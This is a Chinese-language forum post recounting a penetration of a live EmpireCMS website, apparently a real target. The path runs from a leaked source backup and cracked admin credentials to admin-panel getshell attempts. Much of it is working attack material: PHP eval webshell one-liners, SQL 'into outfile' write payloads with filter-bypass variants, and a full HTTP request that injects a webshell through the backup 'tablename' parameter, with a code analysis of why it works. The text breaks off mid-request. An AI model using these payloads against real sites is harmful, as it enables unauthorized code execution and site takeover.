taibeihacker
Moderator
0x00 前言
文章所述漏洞已經提交至漏洞平台,且所有惡意操作均已復原0x01 源码泄露
keypwd
passwd
password找到了半天居然找不到一個有效的密碼
最後在robots.txt中看到CMS的信息-EmpireCMS

查詢知道是開源cms後,直接百度查詢數據表結構

知道了管理員記錄表為phome_enewsuser,在源碼裡全局搜索
0x02 敏感信息泄露

點擊進去得到管理員用戶名,密碼hash和鹽值

直接解md5得到口令

Kite/kite得到口令後就是找到後台地址,由於是開源的百度一下就有了
看一眼目錄並沒有修改後台地址,所以直接訪問

得到具體的版本號為6.6
0x04 历史漏洞
登錄到後台後,因為是開源CMS,歷史漏洞才是滲透的關鍵直接搜索empireCMS漏洞,開始復現歷史漏洞
1.后台-模版-公共模版-js调用登陆模版getshell
還沒有開始就已經結束
Table 'hdm1010482_db.phome_enewstempgroup' doesn't exist好傢伙,這是把表都刪了嗎
2.后台数据表与系统模型-导入数据库模型getshell
EmpireCMS 7.5以及之前版本中的e/class/moddofun.php文件的LoadInMod函數存在安全漏洞。攻擊者可利用該漏洞上傳任意文件。
在本地先新建一個test.php.mod文件,內容為
?php file_put_contents('lyy.php','?php @eval(\$_POST['lyy']);');填入任意表名然後選擇馬上導入

又是一個表不存在,GG

3.后台备份与恢复数据-执行sql语句getshell
EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代碼注入漏洞。也就是後台提供了一個sql語句執行

只要服務器mysql配置secure_file_priv 不當,就可以向服務器寫入文件
Payloadselect '?php @eval($_POST[123])?' into outfile '絕對路徑/e/admin/lyy.php'因為要向站點寫入文件,所以必須知道絕對路徑才行。
因為是無回顯執行,也不能通過show mysql變量獲取部分路徑,所以也pass了
show variables like '%datadir%';
4.后台备份与恢复数据-备份数据getshell
empirecms 7.5版本及之前版本在後台備份數據庫時,未對數據庫表名做驗證,通過修改數據庫表名可以實現任意代碼執行。
選擇任意一個表,開始備份抓包

將tablename字段改為payload
@eval($_POST[123])請求包
POST /e/admin/ebak/phome.php HTTP/1.1
Host: www.xxx.com.cn
Content-Length: 285
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.xxx.com.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.xxx.com.cn/e/admin/ebak/ChangeTable.php?mydbname=hdm1010482_db
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bxubwecmsdodbdata=empirecms; bxubwloginuserid=1; bxubwloginusername=Kite; bxubwloginlevel=1; bxubweloginlic=empirecmslic; bxubwloginadminstyleid=1; bxubwloginrnd=F3JiUXpyeXm6mWPTsdUG; bxubwloginecmsckpass=e816ccfcb01f4ed8ee0ad531de6fa67c; bxubwtruelogintime=1640762619; bxubwlogintime=1640762630
Connection: close
phome=DoEbakmydbname=hdm1010482_dbbaktype=phpinfo()filesize=300bakline=500autoauf=1bakstru=1dbchar=gbkbakdatatype=1mypath=hdm1010482_db_20211229152350insertf=replacewaitbaktime=0readme=autofield=tablename%5B%5D=@eval($_POST[123])chkall=onSubmit=%BF%AA%CA%BC%B1%B8%B7%DD回顯得到備份文件夾名

hdm1010482_db_20211229152350webshell連接備份文件夾下的config.php

原理分析
因為手裡有源碼,就跟了一下這個漏洞首先定位直接全局搜索config.php就找到了

在e/admin/ebak/class/functions.php文件中Ebak_DoEbak存在文件寫入操作

$string='?php
\$b_table=\''.$b_table.'\';
'.$d_table.'
\$b_baktype='.$add['baktype'].';
\$b_filesize='.$add['filesize'].';
\$b_bakline='.$add['bakline'].';
\$b_autoauf='.$add['autoauf'].';
\$b_dbname=\''.$dbname.'\';
\$b_stru='.$bakstru.';
\$b_strufour='.$bakstrufour.';
\$b_dbchar=\''.addslashes($add['dbchar']).'\';
\$b_beover='.$beover.';
\$b_insertf=\''.addslashes($insertf).'\';
\$b_autofield=\','.addslashes($add['autofield']).',\';
\$b_bakdatatype='.$bakdatatype.';
?';
$cfile=$bakpath.'/'.$add['mypath'].'/config.php';
WriteFiletext_n($cfile,$string);
可以看到直接對$d_table變量進行拼接
再看看寫函數WriteFiletext_n

也沒有對寫入內容進行過濾,那麼只需要知道如何控制$d_table變量值即可
crtl+左鍵跟到上面

而$count是$tablename的數量,$tablename是$add中tablename的鍵值

找到調用Ebak_DoEbak函數的位置,知道$add就是$_POST

那就很清楚了,他對POST傳參的tablename進行了處理產生兩個變量
$b_table和$d_table,其中$b_table是被雙引號包裹無法利用的
但是$d_table沒有雙引號被包裹,且沒有任意過濾直接寫入.php文件,導致命令執行
为什么不是其他参数?
其他參數大部分是被雙引號包裹的沒有被雙引號包裹的參數都被強轉int,如果傳str會返回0 所以pass



3的后续
在通過漏洞4獲得站點真實路徑後我又構造sql語句,嘗試向站點直接webshellselect '?php phpinfo();' into outfile '/data/home/hmu072095/htdocs/e/admin/lyy.php'雖然爆了一個數據庫連接錯誤,但是語句被成功執行,只是被寫入的內容被替換成了空

可以成功訪問但沒有內容

可以寫入正常字符
select 'test' into outfile '/data/home/hmu072095/htdocs/e/admin/1.txt'

初步判斷是對php標籤做了過濾,嘗試其他寫法進行繞過
1.select '? phpinfo();' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
2.select 'script language='php' phpinfo(); /script' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
3.select '?php @eval($_POST[1])?' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'只有最後的asp風格成功寫入

嘗試訪問無法執行查了一下linux上默認不開PHP短標籤配置項,溜了溜了
总结
1.通過御劍目錄掃描工具對目標站點進行目錄掃描,發現洩露了網站的備份文件www.zip,對其下載到本地進行源代碼分析2.通過phpstorm進行源代碼加載,並蒐索關鍵字key,pwd,password,passwd,並沒有找到相關密碼,通過robots.txt,發現是EmpireCMS
3.通過百度搜索EmpireCMS的數據表結構,發現phome_enewsuser為管理員記錄表,通過全局批量搜索phome_enewsuser關鍵字,發現源碼中洩露了網站的管理員的用戶名和密碼md5值,通過md5解密得到明文為kite
4.輸入默認的後台路徑/admin,可看到後台登錄頁面,輸入得到的用戶名和密碼,即可登錄後台。
5.在網站後台-模版-公共模版-js調用登陸模版處準備寫入一句,發現表不存在,無法寫入shell
6.在網站後台--系統--數據表與系統模板--管理數據表--導入系統模板,模板文件名:test.php.mod,且,存放的的數據表名為:phome_ecm_111,導入進入後,發現表不存在,無法寫入shell
test.php.mod:
?php file_put_contents('lyy.php','?php @eval(\$_POST['lyy']);');
7.在網站後台--系統--備份與恢復數據--執行SQL語句,寫入一句話,前提條件需要:mysql配置secure_file_priv 不當,且需要知道網站絕對路徑以及EmpireCMS=7.5版本,這裡無法獲取到網站絕對路徑,無法寫入shell
show variables like '%datadir%'; //查看網站絕對路徑
select '?php @eval($_POST[123])?' into outfile '絕對路徑/e/admin/lyy.php' //寫入一句話
8.empirecms 7.5版本及之前版本在後台備份數據庫時,未對數據庫表名做驗證,通過修改數據庫表名可以實現任意代碼執行,那麼在網站後台--系統--備份與恢復數據--恢復數據--選擇任意一個表,開始備份抓包攔截。注意備份的目錄,如果目錄不存在,系統會自動生成一個目錄名。抓包攔截,並修改,發送請求。
POST /e/admin/ebak/phome.php HTTP/1.1
Host: www.xxx.com.cn
Content-Length: 285
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.xxx.com.cn
Content-Type: application/x-www-form-urlen